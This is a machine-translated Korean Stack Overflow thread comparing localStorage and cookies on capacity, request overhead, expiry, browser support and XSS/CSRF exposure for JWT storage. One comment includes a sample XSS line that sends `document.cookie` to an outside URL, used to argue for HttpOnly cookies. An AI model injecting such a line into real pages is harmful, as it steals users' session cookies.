로컬 스토리지 및 쿠키


1027

모든 쿠키가 동일한 기능을 가진 것으로 보이므로 모든 쿠키를 로컬 저장소로 이동하여 웹 사이트의로드 시간을 줄이려고합니다. 명백한 호환성 문제를 제외하고 쿠키 기능을 대체하기 위해 로컬 스토리지를 사용하는 데 장단점이 있습니까 (특히 성능 측면에서) 있습니까?


107
가능한 단점 : 보안 (SSL) 페이지의 localStorge 값이 분리되어 있습니다. 따라서 사이트에 http 및 https 페이지가 모두 있으면 https 페이지를 방문 할 때 http 페이지에 설정된 값에 액세스 할 수 없습니다. Magento 상점에서 ajax 미니 카트에 대해 localStorage를 시도했습니다. 에픽 실패 ...

6
놀랍게도 잘 지원 (내가 예상 한 것과 비교) caniuse.com/#search=localstorage
Simon_Weaver

6
일부 사용자는 브라우저에서 쿠키를 원칙적으로 사용하지 않도록 설정합니다. 로컬 스토리지는 해당 사용자에게 더 효과적 일 수 있습니다.
evolross

9
" 잠재적 인 단점 : 보안 (SSL) 페이지의 [localStorage] 값이 분리되어 있습니다. "이는 실제로 큰 장점 입니다.
curiousguy

13
그렇기 때문에 웹 사이트에서 SSL을 강제로 사용해야합니다 ... SSL 버전을 이미 사용할 수 있다면 두 버전의 페이지를 모두 제공 할 이유가 없습니다.
xji

답변:


1277

쿠키와 로컬 저장소는 다른 목적으로 사용됩니다. 쿠키는 주로 서버 측 을 읽기위한 것이며 로컬 저장소는 클라이언트 측 에서만 읽을 수 있습니다 . 따라서 문제는 앱에서 누가이 데이터 (클라이언트 또는 서버)가 필요한가?

클라이언트 (자바 스크립트) 인 경우 반드시 전환하십시오. 각 HTTP 헤더의 모든 데이터를 보내 대역폭을 낭비하고 있습니다.

서버 인 경우 로컬 스토리지는 Ajax 또는 숨겨진 양식 필드 등으로 데이터를 전달해야하므로 유용하지 않습니다. 서버가 각 요청에 대한 총 데이터의 작은 하위 집합 만 필요한 경우에는 괜찮을 수 있습니다.

그래도 세션 쿠키를 쿠키로 남겨두고 싶을 것입니다.

기술적 차이와 내 이해에 따라 :

  1. 쿠키는 오래된 데이터 저장 방법 외에도 쿠키 당 4096 바이트 (실제 4095) 의 제한을 제공합니다 . 로컬 저장소는 큰 같습니다 도메인 당 5메가바이트 - SO 질문 또한 그것을 언급하고있다.

  2. localStorageStorage인터페이스 의 구현입니다 . 쿠키 만료와 달리 만료 날짜없는 데이터를 저장 하고 JavaScript를 통해서만 또는 브라우저 캐시 / 로컬로 저장된 데이터를 지 웁니다.


30
HTML5에는 세션 쿠키를 대신 할 수있는 세션 범위 스토리지가 있습니다.
Pat Niemeyer

5
@PatNiemeyer, sessionStorage브라우저가 닫힐 때까지 (탭이 아닌) 쿠키가 있다고 가정 할 수 있습니다 . @darkporter, 답변 주셔서 감사합니다. 그러나 쿠키와 로컬 저장소의 기술적 차이 를 듣고 싶습니다 . 편집을 기다리는 중입니다.
옴 샨카

28
@OmShankar이 의심이 여전히 있는지 확실하지 않지만 여기에 차이점이 있습니다. HTTP 헤더와 함께 전송되는 동안 클라이언트에 localStorage 남아cookies 있습니다. 그것은 그들 사이의 가장 큰 (그러나 유일한 것은 아님) 차이입니다.
Andre Calil

16
클라이언트 앱이 REST API와 통신하는 경우 쿠키를 사용하여 세션 ID를 저장하고 전송하는 것은 REST에서 관용적이지 않습니다. 따라서 쿠키는 로컬 스토리지로 대체 해야하는 오래된 기술처럼 보입니다 (세션 ID와 같은 일부 데이터를 서버에 전달 해야하는 경우 JavaScript).
Tvaroh

8
로컬 스토리지는 XSS 공격에 취약하기 때문에 쿠키보다 반드시 안전한 선택은 아닙니다. 개인적으로 신중하게 계획된 만료 계획을 사용하여 암호화 된 HTTPS 쿠키 (JWT 또는 JWE를 사용 중일 수 있음)를 선택합니다. 즉, 쿠키 수준 만료 '정책'과 서버 측 쿠키 '갱신'프로세스를 모두 구현하여 악성 제 3자가 쿠키를 사용할 가능성을 줄입니다. 이 문제에 대해 Stormpath의 기사 일부를 인용하여 아래 답변을 작성했습니다.
XtraSimplicity

231

JWT의 맥락에서 Stormpath 는 JWT를 저장하는 가능한 방법과 각 방법과 관련된 (단점)을 간략히 설명하는 상당히 유용한 기사를 작성했습니다.

또한 XSS 및 CSRF 공격에 대한 간단한 개요와 공격에 대처하는 방법이 있습니다.

기사가 오프라인 상태이거나 사이트가 다운되는 경우를 대비하여 아래 기사의 짧은 스 니펫을 첨부했습니다.

로컬 스토리지

문제 :

웹 스토리지 (localStorage / sessionStorage)는 동일한 도메인에서 JavaScript를 통해 액세스 할 수 있습니다. 즉, 사이트에서 실행되는 모든 JavaScript는 웹 저장소에 액세스 할 수 있으며 이로 인해 사이트 간 스크립팅 (XSS) 공격에 취약 할 수 있습니다. 간단히 말해서 XSS는 공격자가 페이지에서 실행될 JavaScript를 주입 할 수있는 취약점 유형입니다. 기본 XSS 공격은 양식 입력을 통해 JavaScript를 주입하려고 시도합니다. 여기서 공격자는 경보를 보냅니다 ( 'You are Hacked'). 브라우저에서 실행되고 다른 사용자가 볼 수 있는지 양식으로

예방:

XSS를 방지하기 위해 일반적인 응답은 신뢰할 수없는 모든 데이터를 이스케이프하고 인코딩하는 것입니다. 그러나 이것은 전체 이야기와는 거리가 멀다. 2015 년 현대 웹 앱은 CDN 또는 외부 인프라에서 호스팅되는 JavaScript를 사용합니다. 최신 웹 앱에는 A / B 테스트, 퍼널 / 시장 분석 및 광고를위한 타사 JavaScript 라이브러리가 포함됩니다. Bower와 같은 패키지 관리자를 사용하여 다른 사람의 코드를 앱으로 가져옵니다.

사용하는 스크립트 중 하나만 손상되면 어떻게됩니까? 페이지에 악성 JavaScript가 포함되어 웹 저장소가 손상되었습니다. 이러한 유형의 XSS 공격은 사용자 모르게 사이트를 방문하는 모든 사람의 웹 스토리지를 얻을 수 있습니다. 이것이 많은 조직이 가치있는 것을 저장하거나 웹 스토리지의 정보를 신뢰하지 말 것을 권유하는 이유 일 것입니다. 세션 식별자와 토큰이 포함됩니다.

스토리지 메커니즘으로서 Web Storage는 전송 중에 보안 표준을 시행하지 않습니다. Web Storage를 읽고 사용하는 사람은 항상 HTTP를 통해 HTTPS를 통해 JWT를 보내지 않도록 실사를 수행해야합니다.

쿠키

문제 :

HttpOnly 쿠키 플래그와 함께 사용되는 쿠키는 JavaScript를 통해 액세스 할 수 없으며 XSS에 영향을받지 않습니다. 쿠키가 HTTPS를 통해서만 전송되도록 보안 쿠키 플래그를 설정할 수도 있습니다. 이는 과거에 쿠키를 활용하여 토큰 또는 세션 데이터를 저장 한 주요 이유 중 하나입니다. 현대 개발자는 전통적으로 서버에 상태를 저장해야했기 때문에 쿠키를 사용하는 것을 주저하고 RESTful 모범 사례를 위반했습니다. JWT를 쿠키에 저장하는 경우 저장 메커니즘으로서의 쿠키는 서버에 상태를 저장하지 않아도됩니다. 이는 JWT가 서버가 요청을 처리하는 데 필요한 모든 것을 캡슐화하기 때문입니다.

그러나 쿠키는 CSRF (Cross-Site Request Forgery)와 같은 다른 유형의 공격에 취약합니다. CSRF 공격은 악의적 인 웹 사이트, 전자 메일 또는 블로그로 인해 사용자의 웹 브라우저가 사용자가 현재 인증 된 신뢰할 수있는 사이트에서 원치 않는 작업을 수행 할 때 발생하는 공격 유형입니다. 이는 브라우저가 쿠키를 처리하는 방식을 악용 한 것입니다. 쿠키는 쿠키가 허용 된 도메인으로 만 보낼 수 있습니다. 기본적으로이 쿠키는 원래 쿠키를 설정 한 도메인입니다. galaxies.com에 있든 hahagonnahackyou.com에 있든 쿠키는 요청을 위해 전송됩니다.

예방:

최신 브라우저는 및 이외에도 SameSite플래그를 지원합니다 . 이 플래그의 목적은 쿠키가 사이트 간 요청에서 전송되지 않도록하여 많은 종류의 CSRF 공격을 방지하는 것입니다.HttpOnlySecure

을 지원하지 않는 브라우저의 경우 SameSite동기화 된 토큰 패턴을 사용하여 CSRF를 방지 할 수 있습니다. 복잡해 보이지만 모든 최신 웹 프레임 워크에서이를 지원합니다.

예를 들어 AngularJS에는 도메인에서만 쿠키에 액세스 할 수 있는지 확인하는 솔루션이 있습니다. AngularJS 문서에서 바로 :

XHR 요청을 수행 할 때 $ http 서비스는 쿠키 (기본적으로 XSRF-TOKEN)에서 토큰을 읽고이를 HTTP 헤더 (X-XSRF-TOKEN)로 설정합니다. 도메인에서 실행되는 JavaScript 만 쿠키를 읽을 수 있으므로 서버는 XHR이 도메인에서 실행되는 JavaScript에서 온 것임을 확신 할 수 있습니다. xsrfTokenJWT 클레임 을 포함하여이 CSRF 보호를 상태 비 저장 상태로 만들 수 있습니다 .

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

웹 애플리케이션 프레임 워크의 CSRF 보호를 활용하면 JWT를 저장하기위한 쿠키가 강력 해집니다. API에서 HTTP Referer 및 Origin 헤더를 확인하여 CSRF를 부분적으로 방지 할 수도 있습니다. CSRF 공격에는 응용 프로그램과 관련이없는 Referer 및 Origin 헤더가 있습니다.

전체 기사는 https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/ 에서 찾을 수 있습니다.

또한 토큰 자체의 구조와 관련하여 JWT를 가장 잘 설계하고 구현하는 방법에 대한 유용한 기사를 제공합니다. https://stormpath.com/blog/jwt-the-right-way/


6
훌륭한 지적입니다. IMHO가 더 안전하다고 제안하는 한 가지 대답을 제외하고는 잘 읽힌 질문에 대해 로컬 저장소 (또는 XSS의 부족)에 대한 보안 영향에 대해 언급하지 않았습니다.
Barry Pollard

25
나는 전체 보안 대화가 정직한 것을 산만하게 만든다는 것을 알았습니다. 예, localStorage페이지의 다른 스크립트에 액세스 할 수 있습니다 ... 그러나 XMLHttpRequest그렇습니다 ... 그리고 HttpOnly 플래그는 쿠키를 훔치는 것을 방지하지만 브라우저는 쿠키를 일치하는 도메인으로 자동 전송하므로 기본적으로 악성 스크립트가있는 경우 귀하의 페이지에서 이미 실행 중입니다.
Stijn de Witt

3
@StijndeWitt 모든 보호 계층에는 고유 한 기능과 약점이 있습니다. 따라서 일반적으로 여러 보호 계층을 갖는 것이 좋습니다. 예를 들어 HttpOnly는 다음과 같은 비-아약스 공격도 방지 window.location = 'http://google.com?q=' + escape(document.cookie);합니다. 이 공격은 브라우저 CORS 검사를 우회합니다.
Memet Olsen 2016

광고와 같은 일부에 대해 완전히 신뢰할 수있는 제공 업체가 없다고 가정하면, 왜 자신의 신뢰할 수있는 콘텐츠와 동일한 도메인에 의해 광고가 게재됩니까? 광고는 웹 페이지 내에 표시되어야하며 일반적으로 페이지 내에서 JS를 실행할 필요가 없습니다. 해당 타사 컨텐츠에 대한 많은 통합이 필요하지 않습니다.
curiousguy

쿠키의 csrf 토큰 (JavaScript를 통해 읽고 헤더를 통해 보낼 수 있도록 정의상 http가 아닌 것이어야 함)이 보안에 도움이되는 이유는 무엇입니까? 내 사이트가 xss에 취약한 경우 로컬 / 세션 스토리지만큼 쉽게 쿠키를 읽을 수 있습니다.
Juangamnik

96

을 사용 localStorage하면 웹 응용 프로그램이 사용자 브라우저 내에 로컬로 데이터를 저장할 수 있습니다. HTML5 이전에는 모든 서버 요청에 포함 된 응용 프로그램 데이터를 쿠키에 저장해야했습니다. 웹 사이트 성능에 영향을주지 않고 대량의 데이터를 로컬에 저장할 수 있습니다. localStorage더 현대적 이지만 두 기술에 대한 장단점이 있습니다.

쿠키

찬성

  • 레거시 지원 (영원히있었습니다)
  • 영구 데이터
  • 만료 날짜

단점

  • 각 도메인은 모든 쿠키를 단일 문자열로 저장하므로 구문 분석 데이터를 어렵게 만들 수 있습니다
  • 크기는 작지만 쿠키는 모든 HTTP 요청마다 전송됩니다. 크기는 4KB입니다.
  • 쿠키에서 SQL 삽입을 수행 할 수 있습니다

로컬 스토리지

찬성

  • 대부분의 최신 브라우저 지원
  • 브라우저에 직접 저장된 영구 데이터
  • 동일한 출처 규칙이 로컬 스토리지 데이터에 적용
  • 모든 HTTP 요청과 함께 전송되지는 않습니다
  • 도메인 당 최대 5MB의 스토리지 (5120KB)

단점

  • IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0 이전에는 지원되지 않았습니다.
  • 서버에 저장된 클라이언트 정보가 필요한 경우 의도적으로 보내야합니다.

localStorage사용법은 세션 1과 거의 동일합니다. 그들은 거의 정확한 방법을 가지고 있으므로 세션에서 전환하는 localStorage것은 실제로 어린이의 놀이입니다. 그러나 저장된 데이터가 실제로 응용 프로그램에 중요한 경우 쿠키를 localStorage사용할 수없는 경우 백업으로 쿠키를 사용합니다 . 에 대한 브라우저 지원을 확인 localStorage하려면이 간단한 스크립트를 실행하기 만하면됩니다.

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

쿠키를 계속 액세스 할 수있는 'http'에서 'https'보안 프로토콜로 전환하면 localStorage를 사용할 수 없다는 점을 명심하고 "보안 (SSL) 페이지의 localStorage 값이 분리 됩니다." 보안 프로토콜로 작업하는 경우이 점을 알고 있어야합니다.


1
당신이하고있는 확인은 매우 신뢰할 수 없습니다. Storage 객체가 있지만 브라우저에 값을 설정하지 못하는 브라우저 및 모드 (비공개)가 있습니다. 실제 지원을 확인하는 유일한 방법은 제거를 잡는 것입니다.
JavaScript

요점은, Joe의 답변과 관련하여 내 답변을 업데이트했습니다. stackoverflow.com/questions/16427636/…
DevWL

10
'SQL 주입 수행 가능'이 쿠키와 대조적으로 나열되어 있으므로 localStorage에서 수행 할 수 없다고 말하고 있습니까?
Martin Schneider

쿠키의 또 다른 전문가. 쿠키는 HTTPOnly로 표시 될 수 있습니다. 이는 JavaScript에서 액세스 할 수 없음을 의미하며 이는 악의적 인 XSS 공격이 쿠키 내용을 검색 할 수 없음을 의미합니다. 이 때문에 로컬 스토리지가 쿠키보다 안전하다고 말할 필요는 없습니다.
wp-overwatch.com 21:48에

@ Mr.Me XSS 공격은 HTTPOnly 쿠키를 읽을 수 없지만 공격자는 사용자 가 브라우저 세션에 의해서만 제한적 으로 정의 할 수있는 HTTP 요청을 수행 할 수 있습니다 . 세션 쿠키가 불투명 한 식별자라고 가정하면 거의 모든 세션 쿠키와 마찬가지로 쿠키 값을 읽는 것은 쿠키 요청을 포함하여 HTTP 요청을 수행 할 때만 유용합니다. 쿠키 값만으로는 아무것도 배울 수 없습니다. (참고, 세션 쿠키는 언젠가 특정 소스 IP 주소, 사용자 에이전트 헤더, 또는 다른 브라우저 특성에 링크 될 수 XSS 공격이 일치하므로, 브라우저에서 요청을 수행 HTTP.)
curiousguy

7

로컬 스토리지 속도는 클라이언트가 사용하는 브라우저와 운영 체제에 따라 크게 다릅니다. Mac의 Chrome 또는 Safari는 특히 최신 API를 사용하는 PC의 Firefox보다 훨씬 빠릅니다. 항상 그렇듯이 테스트는 당신의 친구입니다 (나는 벤치 마크를 찾을 수 없었습니다).

쿠키와 로컬 스토리지에는 큰 차이가 없습니다. 또한 호환성 문제에 대해 더 걱정해야합니다. 모든 브라우저가 새로운 HTML5 API를 지원하기 시작한 것은 아니기 때문에 쿠키는 속도와 호환성에 가장 적합한 방법입니다.


2
내부 프로젝트 일 뿐이므로 브라우저 간 호환성과 같은 것은 실제로 필요하지 않습니다. 쿠키는 ~ 500kB의 추가 오버 헤드를 의미하는 각 HTTPRequest (응용 프로그램에 ~ 77 개의 요청이 있음)와 함께 전송되기 때문에. 명백한 해결책이 CDN이라는 것을 알고 있지만 서버에 의존하지 않는 것을 시도하고 싶습니다. 나는 벤치 마크를 스스로 찾을 수 없었기 때문에 여기 누군가가 알기를 바랐습니다.
Gio Borje

14
Mac에서 Chrome 또는 Safari가 더 빠른 이유는 무엇입니까? Mac, Linux 또는 Windows에서 실행되는 브라우저 코드와 거의 동일합니다.
Mark K Cowan

7

또한 언급 할만큼 가치입니다 localStorage사용자가 모바일 사파리의 일부 버전에서 "개인"모드에서 탐색 할 때 사용할 수 없습니다.

MDN에서 인용 ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ) :

참고 : iOS 5.1부터 Safari Mobile은 로컬 스토리지 데이터를 캐시 폴더에 저장합니다. 캐시 폴더는 공간이 부족한 경우 OS의 요청에 따라 때때로 정리 될 수 있습니다. Safari Mobile의 개인 정보 보호 브라우징 모드는 localStorage에 대한 쓰기를 완전히 방지합니다.


6

로컬 스토리지는 최대 5MB의 오프라인 데이터를 저장할 수있는 반면 세션은 최대 5MB의 데이터를 저장할 수 있습니다. 그러나 쿠키는 4KB 데이터 만 텍스트 형식으로 저장할 수 있습니다.

JSON 형식의 LOCAl 및 세션 스토리지 데이터이므로 구문 분석이 쉽습니다. 그러나 쿠키 데이터는 문자열 형식입니다.


6

쿠키 :

  1. HTML5 이전에 소개되었습니다.
  2. 만료 날짜가 있습니다.
  3. JS 또는 브라우저의 브라우징 데이터 지우기 또는 만료 날짜 후에 지 웁니다.
  4. 각 요청마다 서버로 전송됩니다.
  5. 용량은 4KB입니다.
  6. 문자열에만 쿠키에 저장할 수 있습니다.
  7. 영구 쿠키와 세션이라는 두 가지 쿠키 유형이 있습니다.

로컬 스토리지 :

  1. HTML5로 도입되었습니다.
  2. 만료 날짜가 없습니다.
  3. JS 또는 브라우저의 브라우징 데이터에 의해 지워집니다.
  4. 데이터를 서버로 보내야하는시기를 선택할 수 있습니다.
  5. 용량은 5MB입니다.
  6. 데이터는 무기한 저장되며 문자열이어야합니다.
  7. 한 가지 유형 만 있습니다.

6. 로컬 저장소에만 저장 문자열 프리미티브 및 개체는 제 sessionStorage도 가능하고 지속되지 않는 것을 제외하고 동일한 로컬 스토리지에 저장하기 전에 문자열로 변환 될 수 있어야
로비 Milejczak

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.